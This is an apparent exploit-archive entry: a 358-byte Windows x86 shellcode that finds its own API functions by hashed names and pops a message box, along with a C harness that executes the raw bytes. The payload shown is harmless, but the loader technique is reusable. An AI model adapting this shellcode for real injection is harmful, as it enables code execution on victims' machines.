Windows/x86 - Messagebox Shellcode 358 bytes

// # Exploit Title  : win32 Messagebox shellcode (358 bytes)
// # Exploit Author : Febriyanto Nugroho ([email protected])
// # Tested on      : Windows 7 (x86) Ultimate

#include <stdio.h>
#include <string.h>

char shellcode[]= "\x31\xdb\xb3\x30\x29\xdc\x64\x8b\x03\x8b\x40\x0c\x8b"
		  "\x58\x1c\x8b\x1b\x8b\x1b\x8b\x73\x08\x89\xf7\x89\x3c"
		  "\x24\x8b\x47\x3c\x01\xc7\x31\xdb\xb3\x78\x01\xdf\x8b"
		  "\x3f\x8b\x04\x24\x01\xf8\x89\x44\x24\x08\x31\xdb\xb3"
		  "\x1c\x01\xc3\x8b\x03\x8b\x3c\x24\x01\xf8\x89\x44\x24"
		  "\x0c\x8b\x44\x24\x08\x31\xdb\xb3\x20\x01\xc3\x8b\x03"
		  "\x01\xf8\x89\x44\x24\x10\x8b\x44\x24\x08\x31\xdb\xb3"
		  "\x24\x01\xc3\x8b\x03\x01\xf8\x89\x44\x24\x14\x8b\x44"
		  "\x24\x08\x31\xdb\xb3\x18\x01\xc3\x8b\x03\x89\x44\x24"
		  "\x18\x8b\x74\x24\x30\x31\xf6\x89\x74\x24\x30\x8b\x4c"
		  "\x24\x18\x8b\x2c\x24\x8b\x5c\x24\x10\x8b\x4c\x24\x18"
		  "\x85\xc9\x74\x5f\x49\x89\x4c\x24\x18\x8b\x34\x8b\x01"
		  "\xee\x31\xff\x31\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf"
		  "\x0d\x01\xc7\xeb\xf4\x8b\x5c\x24\x14\x66\x8b\x0c\x4b"
		  "\x8b\x5c\x24\x0c\x8b\x04\x8b\x01\xe8\x8b\x34\x24\x81"
		  "\xff\xaa\xfc\x0d\x7c\x75\x08\x8d\x74\x24\x20\x89\x06"
		  "\xeb\xb5\x81\xff\x8e\x4e\x0e\xec\x75\x08\x8d\x74\x24"
		  "\x24\x89\x06\xeb\xa5\x81\xff\x7e\xd8\xe2\x73\x75\x9d"
		  "\x8d\x74\x24\x1c\x89\x06\xeb\x95\x89\xe6\x31\xd2\x66"
		  "\xba\x6c\x6c\x52\x68\x33\x32\x2e\x64\x68\x75\x73\x65"
		  "\x72\x54\xff\x56\x24\x89\x46\x28\x31\xd2\xb2\x41\x52"
		  "\x31\xd2\x66\xba\x6f\x78\x66\x52\x68\x61\x67\x65\x42"
		  "\x68\x4d\x65\x73\x73\x54\x50\xff\x56\x20\x89\x46\x2c"
		  "\x31\xd2\xb2\x20\x52\x31\xd2\x66\xba\x74\x6f\x66\x52"
		  "\x68\x69\x79\x61\x6e\x68\x46\x65\x62\x72\x89\xe3\x31"
		  "\xd2\xb2\x6f\x52\x68\x48\x65\x6c\x6c\x89\xe1\x31\xd2"
		  "\xb2\x04\x52\x31\xd2\x51\x53\x31\xff\x57\xff\x56\x2c"
		  "\x89\xf4\x57\xff\x54\x24\x20";

int main(int argc, char *argv[]) {
	printf("shellcode length : %d bytes\n", strlen(shellcode));
	int(*f)()=(int(*)())shellcode;f();
}